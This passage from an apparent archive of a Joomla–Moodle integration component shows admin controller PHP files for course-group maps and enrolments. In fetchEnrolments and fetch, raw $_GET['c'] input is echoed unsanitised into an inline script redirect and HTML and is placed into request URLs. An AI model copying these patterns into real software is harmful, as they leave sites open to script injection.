					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/course_group_map.php000064400000020442151165724360013210
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Course_group_map Controller
 */
class MoojlaControllerCourse_group_map extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Course_group_maps'; // safeguard for
setting the return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;

/***[JCBGUI.admin_view.php_allowedit.135.$$$$]***/
    return false;
/***[/JCBGUI$$$$]***/


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.course_group_map.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.course_group_map.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Course_group_map', '',
array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_group_maps'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/course_group_maps.php000064400000022373151165724360013400
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_maps.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Course_group_maps Controller
 */
class MoojlaControllerCourse_group_maps extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_COURSE_GROUP_MAPS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Course_group_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}


/***[JCBGUI.admin_view.php_controller_list.135.$$$$]***/
  function migrateFromJoomdle()
  {

    JLoader::register('MoojlaModelCourse_group_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/course_group_map.php');

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName('remoteid'));
    $query->from($db->quoteName('#__moojla_course'));
    $query->where($db->quoteName('published') . ' =
1');
    $db->setQuery($query);
    $remoteids = $db->loadColumn();

    $counter = 0;
    $msgtype = 'success';

    try
    {
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query->select('*');
     
$query->from($db->quoteName('#__joomdle_course_groups'));
      $query->where($db->quoteName('course_id') . ' IN
(' . implode(',', $remoteids) . ')');
      $db->setQuery($query);
      $joomdle_maps = $db->loadAssocList();


      /*$joomdle_maps = array(
              array(
                'id'          =>  1,
                'course_id'   =>  124,
                'group_id'    =>  52,
                'type'        =>  'teacher'
              ),
              array(
                'id'          =>  2,
                'course_id'   =>  195,
                'group_id'    =>  143,
                'type'        =>  'student'
              ),
              array(
                'id'          =>  3,
                'course_id'   =>  195,
                'group_id'    =>  142,
                'type'        =>  'teacher'
              ),
            );*/


      foreach($joomdle_maps as $row)
      {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('*');
       
$query->from($db->quoteName('#__moojla_course_group_map'));
        $query->where($db->quoteName('published') . '
= 1');
        $query->where($db->quoteName('moojlacourse') .
' = ' . $row['course_id']);
        $query->where($db->quoteName('role') . ' =
' . ($row['type'] == 'teacher' ? 3 : 5));

        $db->setQuery($query);
        $found = $db->loadAssocList();
        if(!$found)
        {
          $cgm = new MoojlaModelCourse_group_map;
          $data = array(
            'course_group'  =>  $row['group_id'],
            'moojlacourse'  =>  $row['course_id'],
            'role'          =>  ($row['type'] ==
'teacher' ? 3 : 5)
          );
          $cgm->save($data);
          $counter += 1;
        }
      }

      $message =
JText::sprintf('COM_MOOJLA_S_GROUP_MAP_MIGRATED_FROM_JOOMDLE_SUCCESSFULLY',
$counter);
    }
    catch(Exception $e)
    {
      $message = $e->getMessage();
      $msgtype = 'error';
      // dump($e->getMessage(), 'fail');
    }

    $app = JFactory::getApplication();
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=course_group_maps",
false), $message, $msgtype);
  }

  function fetch()
  {
    $params = JComponentHelper::getParams('com_moojla');
    $step = $params->get('coursegroupferchstep', 5);
    $logpath = trim($params->get('coursegrouplog'));
    
    JLoader::register('MoojlaModelCourse_group_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/course_group_map.php');
    $sql = "
    SELECT
        SUBSTRING_INDEX(t1.row, '-', 1) as remoteid,
        SUBSTRING_INDEX(t1.row, '-', -1) as role 
    FROM
        (
        SELECT
            CONCAT(c.remoteid, '-', r.role) AS ROW
        FROM
            `#__moojla_course` AS c
        CROSS JOIN(
            SELECT
                3 AS role
            UNION
            SELECT
                3
            UNION
            SELECT
                5
        ) AS r
        WHERE c.published = 1
    ) AS t1
    WHERE t1.row NOT IN 
    (
        SELECT
            CONCAT(cgm.moojlacourse, '-', cgm.role) AS er
        FROM
            `#__moojla_course_group_map` AS cgm
		INNER JOIN `#__usergroups` AS ug
        	ON ug.id = cgm.course_group
				WHERE cgm.published = 1
    )";

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query = $sql;
    $db->setQuery($query);
    $not_mapped = $db->loadAssocList();

    $not_mapped_remoteids = array_column($not_mapped,
'remoteid');

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->clear();
    $query->select($db->quoteName( array('remoteid',
'shortname')));
    $query->from($db->quoteName('#__moojla_course'));
    $query->where($db->quoteName('published') . ' =
1');
    $query->where($db->quoteName('remoteid') . ' IN
(' . implode(',', $not_mapped_remoteids) . ')');
    $db->setQuery($query);
    $not_mapped_names = $db->loadAssocList('remoteid');

    JPluginHelper::importPlugin("moojlaevents");
    $dispatcher = JEventDispatcher::getInstance();
    if(isset($_GET['c']))
      $c = $_GET['c'];
    else
    	$c = 0;
    $app = JFactory::getApplication();
    
    foreach($not_mapped as $np)
    {
      $course_name =
$not_mapped_names[$np['remoteid']]['shortname'];
      $group_name = $course_name . ' (' .($np['role']
== 3 ? 'TEACHERS' : 'STUDENTS') . ')';
      $group_id		= $dispatcher->trigger("addGroup",
array($np['remoteid'], $group_name, ($np['role'] == 3 ?
'teachers' : 'students')));

      $cgmap = new MoojlaModelCourse_group_map;
      $data = array(
        'moojlacourse'  =>  $np['remoteid'],
        'course_group'  =>  current($group_id),
        'role'          =>  $np['role']
      );
      
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query->select($db->quoteName('id'));
     
$query->from($db->quoteName('#__moojla_course_group_map'));
      $query->where($db->quoteName('moojlacourse') . '
= ' . $db->quote($np['remoteid']));	
      $query->where($db->quoteName('role') . ' =
' . $np['role']);	
      $query->where($db->quoteName('published') . ' =
1');
      $db->setQuery($query);
      $exist = $db->loadResult();
      if($exist)
      {
        $data['id'] = $exist;
      }

      $date = new DateTime();
      $date = $date->format("y:m:d h:i:s");
      if($cgmap->save($data))
      {
        if($logpath)
        {
          file_put_contents($logpath, print_r($date, True).PHP_EOL,
FILE_APPEND);
          file_put_contents($logpath, "Added data:
".print_r($data, True).PHP_EOL, FILE_APPEND);
        }
      }
      else
      {
        if($logpath)
        {
          file_put_contents($logpath, print_r($date, True).PHP_EOL,
FILE_APPEND);
          file_put_contents($logpath, "Failed and error is:
".print_r($cgmap->getError(), True).PHP_EOL, FILE_APPEND); 
        }
      }
      $c += 1;
      if($c % $step == 0)
      {
        //
$app->redirect(JRoute::_("index.php?option=com_moojla&view=course_group_maps&task=course_group_maps.fetch&c=$c",
false));
        $context = stream_context_create(
          array(
            'http' => array(
              'follow_location' => false
            )
          )
        );
        $content =
file_get_contents(JRoute::_("index.php?option=com_moojla&view=course_group_maps&task=course_group_maps.fetch&c=$c",
false), false, $context);
      }
    }

    $counter = count($not_mapped);
    $message =
JText::sprintf('COM_MOOJLA_S_GROUP_MAP_ADDED_SUCCESSFULLY',
$counter);
    $app = JFactory::getApplication();
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=course_group_maps",
false), $message, 'success');
  }
/***[/JCBGUI$$$$]***/

}
controllers/enrolment.php000064400000021002151165724360011633
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolment.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Enrolment Controller
 */
class MoojlaControllerEnrolment extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Enrolments'; // safeguard for setting
the return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

/***[JCBGUI.admin_view.php_allowadd.139.$$$$]***/
JFactory::getApplication()->enqueueMessage('you shouldn\'t
have access to this section', 'error');
return false;/***[/JCBGUI$$$$]***/

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;

/***[JCBGUI.admin_view.php_allowedit.139.$$$$]***/
JFactory::getApplication()->enqueueMessage('you shouldn\'t
have access to this section', 'error');
return false;/***[/JCBGUI$$$$]***/


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.enrolment.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.enrolment.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Enrolment', '',
array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=enrolments'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/enrolments.php000064400000012757151165724360012037
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolments.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Enrolments Controller
 */
class MoojlaControllerEnrolments extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_ENROLMENTS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Enrolment', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}


/***[JCBGUI.admin_view.php_controller_list.139.$$$$]***/
  public function fetchEnrolments()
  {


      $params = JComponentHelper::getParams('com_moojla');
      $total_fetch_enrolment =
$params->get('total_fetch_enrolment', 1000);
      $number_per_request_fetch_enrolment =
$params->get('number_per_request_fetch_enrolment', 50);

      if (isset($_GET['c'])) {
          $c = $_GET['c'];
      } else {
          $c = 0;
      }

      $progress_percent = (($c / $total_fetch_enrolment) * 100);
      echo '<div class="progress">
                    <div class="progress-bar"
role="progressbar" aria-valuenow="70"
                         aria-valuemin="0"
aria-valuemax="100" style="
                         width:' . $progress_percent . '%;
                        float: left;
                        height: 100%;
                        font-size: 12px;
                        line-height: 20px;
                        color: #fff;
                        text-align: center;
                        background-color: #337ab7;
                        -webkit-box-shadow: inset 0 -1px 0
rgba(0,0,0,.15);
                        box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
                        -webkit-transition: width .6s ease;
                        -o-transition: width .6s ease;
                        transition: width .6s ease;">
                        ' . floor($progress_percent) . '%
                    </div>
                </div>';

    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/enrolment.php";
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');

    $user = JFactory::getUser();

    $dataObj = array(
      "wsfunction"          =>
"moojla_get_multiple_course_users",
      "moodlewsrestformat"  => "json",
    );

    $db = JFactory::getDbo(); 
    $query = $db->getQuery(true);
    $query->select($db->quoteName('remoteid',
'id'));
    $query->from($db->quoteName('#__moojla_course'));
    $query->where($db->quoteName('published') . ' =
1');
    $db->setQuery($query);
    $remoteids = $db->loadAssocList();
    $chunked_remoteids = array_chunk($remoteids, 100, true);



    foreach($chunked_remoteids as $chindex => $chremoteids)
    {
      $dataObj['courseids'] = $chremoteids;

      $enrolments =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);

      foreach($enrolments as $enrolment)
      {

        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
        foreach($enrolment->enrolments as $enrol)
        {
          $status = $dispatcher->trigger("addEnrolment",
array($enrol->courseid, $enrolment->userid, $enrol->roleid,
$enrol->timecreated));
          if($status[0])
          {
              $c++;

              if ($c == $total_fetch_enrolment) {
                  break 3;
              }
              if ($number_per_request_fetch_enrolment != -1 &&
$number_per_request_fetch_enrolment != 0){
                  if ($c % $number_per_request_fetch_enrolment == 0) {
                      echo "<script>window.location =
'/administrator/index.php?option=com_moojla&view=enrolments&task=enrolments.fetchEnrolments&c=$c'</script>";
                      return 0;
                  }
              }

          }

        }
      }
    }
    $app = JFactory::getApplication();
    $message = $c . ' ' .
JText::_('COM_MOOJLA_ENROLMENTS_FETCHED'); // translate_need
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=enrolments",
false), $message, 'message');
    return true;
  }/***[/JCBGUI$$$$]***/

}
controllers/healthcheck.php000064400000004121151165724360012076
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		healthcheck.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
